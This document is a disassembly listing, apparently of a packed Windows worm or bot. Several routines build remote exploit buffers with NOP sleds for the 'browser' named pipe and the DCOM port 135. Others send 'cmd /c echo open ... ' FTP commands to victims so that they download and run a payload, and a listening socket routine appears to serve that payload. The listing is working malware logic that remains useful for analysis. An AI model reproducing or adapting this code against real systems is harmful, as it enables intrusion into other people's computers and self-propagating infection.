		mov	eax, offset byte_4397BC
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_421F50
		jmp	short loc_4049C8
; ---------------------------------------------------------------------------


loc_4049C3:				; CODE XREF: sub_404950+23j
		mov	esi, 2000h


loc_4049C8:				; CODE XREF: sub_404950+71j
		push	[ebp+Size]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	ds:dword_423080
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_404A0C


loc_404A05:				; CODE XREF: sub_404950+194j
					; sub_404950+36Aj ...
		xor	al, al
		jmp	loc_404E50
; ---------------------------------------------------------------------------


loc_404A0C:				; CODE XREF: sub_404950+B3j
		push	48h		; Size
		lea	eax, [ebp+var_B8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax		; Size
		lea	eax, [ebp+var_98]
		push	offset dword_427C34 ; Src
		push	eax		; Dst
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_84]
		push	offset dword_427C20 ; Src
		push	eax		; Dst
		mov	[ebp+var_88], 3
		call	_memcpy
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_423078
		test	eax, eax
		jnz	short loc_404AE9


loc_404ADB:				; CODE XREF: sub_404950+265j
		push	[ebp+var_4]
		call	ds:dword_423074
		jmp	loc_404A05
; ---------------------------------------------------------------------------


loc_404AE9:				; CODE XREF: sub_404950+189j
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_423070
		push	ebx		; Time
		call	_time
		push	eax
		call	sub_4172EE
		push	14h		; Size
		lea	eax, [ebp+Src]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		push	1Ch		; Size
		lea	eax, [ebp+var_30]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 20h
		call	_rand
		mov	esi, [ebp+Memory]
		mov	[ebp+Src], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	ds:byte_427BC8[esi], bl
		jz	short loc_404B60
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4397E0
		jmp	short loc_404B73
; ---------------------------------------------------------------------------


loc_404B60:				; CODE XREF: sub_404950+1FCj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4		; Size
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	(offset	loc_427C17+1) ;	Src


loc_404B73:				; CODE XREF: sub_404950+20Ej
		lea	eax, [ebp+var_20]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		call	_rand
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	_rand
		cdq
		idiv	edi
		mov	eax, ds:dword_427BBC[esi]
		mov	[ebp+var_18], ebx
		push	eax		; Size
		mov	[ebp+Size], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	_malloc
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADB
		mov	eax, [ebp+Size]
		add	eax, 0FFFFFFFEh
		push	eax		; Size
		push	90h		; Val
		push	edi		; Dst
		call	_memset
		mov	eax, [ebp+Size]
		push	2		; Size
		push	ebx		; Val
		lea	eax, [edi+eax-2]
		push	eax		; Dst
		call	_memset
		mov	eax, ds:dword_427BC4[esi]
		push	7		; Size
		add	eax, edi
		push	offset dword_427BB0 ; Src
		push	eax		; Dst
		mov	[ebp+Memory], eax
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	15Ch		; Size
		add	eax, 7
		push	offset dword_427A50 ; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, ds:dword_427BC0[esi]
		add	esp, 30h
		cmp	ds:byte_427BC8[esi], bl
		mov	[ebp+Memory], eax
		jz	short loc_404C6C
		push	4		; Size
		add	eax, edi
		push	offset dword_4397D8 ; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+Memory], 0Ch
		mov	esi, offset dword_427BE0
		mov	eax, [ebp+Memory]
		push	4		; Size
		add	eax, edi
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	4		; Size
		push	esi		; Src
		lea	eax, [eax+edi+24h]
		push	eax		; Dst
		mov	[ebp+Memory], eax
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	4		; Size
		add	eax, 0Ch
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 30h
		jmp	short loc_404C94
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_404950+2CDj
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+Memory], eax
		mov	esi, offset dword_427BE0


loc_404C7D:				; CODE XREF: sub_404950+342j
		push	4		; Size
		push	esi		; Src
		push	[ebp+Memory]	; Dst
		call	_memcpy
		add	[ebp+Memory], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_404C7D


loc_404C94:				; CODE XREF: sub_404950+31Aj
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_404CBF
		push	[ebp+var_4]
		call	ds:dword_423074
		push	edi		; Memory
		call	_free
		pop	ecx
		jmp	loc_404A05
; ---------------------------------------------------------------------------


loc_404CBF:				; CODE XREF: sub_404950+358j
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		push	ebx		; double
		push	esi		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	ds:flt_42328C
		fstp	[esp+60F0h+var_60F0]
		call	_ceil
		call	__ftol
		push	[ebp+Size]	; Size
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+Memory], eax
		jz	short loc_404D2C


loc_404D24:				; CODE XREF: sub_404950+3D7j
		inc	eax
		test	al, 3
		jnz	short loc_404D24
		mov	[ebp+Memory], eax


loc_404D2C:				; CODE XREF: sub_404950+3D2j
		lea	ecx, [ebp+var_30]
		push	1Ch		; Size
		add	eax, esi
		push	ecx		; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+Memory], 1Ch
		push	edi		; Memory
		call	_free
		push	18h		; Size
		lea	eax, [ebp+var_48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	14h		; Size
		lea	eax, [ebp+var_5C]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	_memset
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	ds:dword_42308C	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+Size+3], bl
		mov	dword ptr [ebp+var_10+4], ebx


loc_404D99:				; CODE XREF: sub_404950+4D3j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_404E2E
		push	1		; char
		push	10B8h		; int
		push	[ebp+Memory]	; Memory
		inc	dword ptr [ebp+var_10+4]
		push	esi		; Src
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]	; int
		rep movsd
		call	sub_404862
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2B
		cmp	[ebp+var_4C], ebx
		jz	short loc_404E1D
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_423070
		test	eax, eax
		jnz	short loc_404E04
		call	ds:dword_423088	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_404A05


loc_404E04:				; CODE XREF: sub_404950+4A1j
		push	3E8h
		push	[ebp+var_4C]
		call	ds:dword_423084	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_404E1D
		mov	byte ptr [ebp+Size+3], 1


loc_404E1D:				; CODE XREF: sub_404950+480j
					; sub_404950+4C7j
		cmp	byte ptr [ebp+Size+3], bl
		mov	esi, [ebp+var_8]
		jz	loc_404D99
		jmp	short loc_404E2E
; ---------------------------------------------------------------------------


loc_404E2B:				; CODE XREF: sub_404950+47Bj
		mov	esi, [ebp+var_8]


loc_404E2E:				; CODE XREF: sub_404950+44Dj
					; sub_404950+4D9j
		push	[ebp+var_4]
		mov	edi, ds:dword_423074
		call	edi
		push	esi		; Memory
		call	_free
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_404E4A
		push	[ebp+var_4C]
		call	edi


loc_404E4A:				; CODE XREF: sub_404950+4F3j
		cmp	byte ptr [ebp+Size+3], bl
		setnz	al


loc_404E50:				; CODE XREF: sub_404950+B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E55	proc near		; CODE XREF: UPX0:00404F6Cp

var_5A0		= byte ptr -5A0h
Str		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_4231DC	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_423200	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_423214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404F23
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42321C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404F23
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_423204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42E664
		push	eax
		push	eax
		push	ds:dword_4397EC
		push	[ebp+arg_0]
		call	sub_40AEDB
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Str]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404F27


loc_404F23:				; CODE XREF: sub_404E55+50j
					; sub_404E55+62j
		xor	eax, eax
		jmp	short loc_404F3E
; ---------------------------------------------------------------------------


loc_404F27:				; CODE XREF: sub_404E55+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_423220	; closesocket
		push	1
		pop	eax


loc_404F3E:				; CODE XREF: sub_404E55+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404E55	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx


loc_404F48:				; CODE XREF: UPX0:00404F8Ej
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_404950
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_404F7B
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404E55
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_404F96


loc_404F7B:				; CODE XREF: UPX0:00404F57j
		test	ebx, ebx
		jnz	short loc_404F8A
		push	7D0h
		call	ds:dword_423060	; Sleep


loc_404F8A:				; CODE XREF: UPX0:00404F7Dj
		inc	ebx
		cmp	ebx, 2
		jb	short loc_404F48
		xor	eax, eax


loc_404F92:				; CODE XREF: UPX0:00404F99j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_404F96:				; CODE XREF: UPX0:00404F79j
		push	1
		pop	eax
		jmp	short loc_404F92

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9B	proc near		; CODE XREF: UPX0:0040511Ap

var_5A0		= byte ptr -5A0h
Str		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_4231DC	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_423200	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_423214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405069
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42321C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405069
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_423204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42E664
		push	eax
		push	eax
		push	ds:dword_4397EC
		push	[ebp+arg_0]
		call	sub_40AEDB
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Str]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506D


loc_405069:				; CODE XREF: sub_404F9B+50j
					; sub_404F9B+62j
		xor	eax, eax
		jmp	short loc_405084
; ---------------------------------------------------------------------------


loc_40506D:				; CODE XREF: sub_404F9B+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_423220	; closesocket
		push	1
		pop	eax


loc_405084:				; CODE XREF: sub_404F9B+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	ds:dword_43C658	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	ds:dword_43C618	; htons
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	ds:dword_423214	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FB
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42321C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DC
		push	esi
		jmp	short loc_4050F5
; ---------------------------------------------------------------------------


loc_4050DC:				; CODE XREF: UPX0:004050D7j
		push	0
		push	1213h
		push	offset dword_427C60
		push	esi
		call	ds:dword_423208	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FF


loc_4050F5:				; CODE XREF: UPX0:004050DAj
		call	ds:dword_423220	; closesocket


loc_4050FB:				; CODE XREF: UPX0:004050C5j
		xor	eax, eax
		jmp	short loc_405141
; ---------------------------------------------------------------------------


loc_4050FF:				; CODE XREF: UPX0:004050F3j
		call	ds:dword_423220	; closesocket
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9B
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513E
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	ds:dword_429CB8[eax]
		lea	eax, dword_429CB8[eax]


loc_40513E:				; CODE XREF: UPX0:00405127j
		push	1
		pop	eax


loc_405141:				; CODE XREF: UPX0:004050FDj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405145	proc near		; CODE XREF: UPX0:00405341p

var_5A0		= byte ptr -5A0h
Str		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, ds:word_429040
		push	eax
		call	ds:dword_43C618	; htons
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43C698	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525C
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525C
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43C630	; recv
		push	ds:dword_4397EC
		push	[ebp+arg_0]
		call	sub_40AEDB
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	esi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525C
		push	1F4h
		call	ds:dword_423060	; Sleep
		push	offset byte_42E664
		push	offset aS_6	; "%s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	esi
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405260


loc_40525C:				; CODE XREF: sub_405145+51j
					; sub_405145+67j ...
		xor	al, al
		jmp	short loc_40527A
; ---------------------------------------------------------------------------


loc_405260:				; CODE XREF: sub_405145+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43C630	; recv
		push	esi
		call	ds:dword_43C6B0	; closesocket
		mov	al, 1


loc_40527A:				; CODE XREF: sub_405145+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405145	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	ds:dword_4231FC	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A9
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4231DC	; inet_addr
		mov	ebx, eax
		jmp	short loc_4052AF
; ---------------------------------------------------------------------------


loc_4052A9:				; CODE XREF: UPX0:00405299j
		mov	ebx, [ebp+0C0h]


loc_4052AF:				; CODE XREF: UPX0:004052A7j
		push	11h
		push	2
		push	2
		call	ds:dword_423214	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D9
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	_memcpy
		add	esp, 0Ch
		jmp	short loc_4052DC
; ---------------------------------------------------------------------------


loc_4052D9:				; CODE XREF: UPX0:004052BFj
		mov	[ebp-0Ch], ebx


loc_4052DC:				; CODE XREF: UPX0:004052D7j
		test	esi, esi
		jz	short loc_4052EA
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052F0
; ---------------------------------------------------------------------------


loc_4052EA:				; CODE XREF: UPX0:004052DEj
		mov	word ptr [ebp-10h], 2


loc_4052F0:				; CODE XREF: UPX0:004052E8j
		push	599h
		call	ds:dword_423200	; htons
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_42321C	; connect
		test	eax, eax
		jnz	loc_4053BF
		push	eax
		push	1C9h
		push	offset loc_428E74
		push	edi
		call	ds:dword_423208	; send
		push	3E8h
		call	ds:dword_423060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405145
		add	esp, 0BCh
		test	al, al
		jz	short loc_405355
		push	1
		pop	eax
		jmp	short loc_4053D1
; ---------------------------------------------------------------------------


loc_405355:				; CODE XREF: UPX0:0040534Ej
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_4290B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	__snprintf
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D670
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6F
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	ds:dword_429CB8[eax]
		lea	eax, dword_429CB8[eax]
		jmp	short loc_4053CF
; ---------------------------------------------------------------------------


loc_4053BF:				; CODE XREF: UPX0:0040530Ej
		push	1
		push	edi
		call	ds:dword_4231F8	; shutdown
		push	edi
		call	ds:dword_423220	; closesocket


loc_4053CF:				; CODE XREF: UPX0:004053BDj
		xor	eax, eax


loc_4053D1:				; CODE XREF: UPX0:00405353j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D6	proc near		; DATA XREF: sub_407243+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= dword	ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
Dst		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
Str		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
Str1		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_4231E4	; WSAStartup
		push	edi		; Time
		call	_time
		push	eax
		call	sub_4172EE
		push	0FEB0h
		push	406h
		call	sub_41543F
		add	esp, 10h
		mov	ds:dword_4397EC, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_423214	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_4231E8	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_423218	; ioctlsocket
		mov	ax, word ptr ds:dword_4397EC
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_423200	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4231EC	; bind
		test	eax, eax
		jge	short loc_4054AB
		mov	eax, ebx
		jmp	loc_4059D2
; ---------------------------------------------------------------------------


loc_4054AB:				; CODE XREF: sub_4053D6+CCj
		push	0Ah
		push	esi
		call	ds:dword_4231F0	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_423208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054C9:				; CODE XREF: sub_4053D6+12Cj
					; sub_4053D6+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_42320C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059CF
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C9


loc_405504:				; CODE XREF: sub_4053D6+5EEj
		xor	esi, esi
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	64h		; Size
		lea	eax, [ebp+Str1]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_421F56	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4059BD
		cmp	edi, [ebp+var_C]
		jnz	short loc_4055BB
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4231F4	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059BD
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_405585
		lea	edx, [ebp+var_224]


loc_405575:				; CODE XREF: sub_4053D6+1ADj
		cmp	[edx], eax
		jz	short loc_405585
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405575


loc_405585:				; CODE XREF: sub_4053D6+197j
					; sub_4053D6+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A3
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A3
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055A3:				; CODE XREF: sub_4053D6+1B5j
					; sub_4053D6+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AB
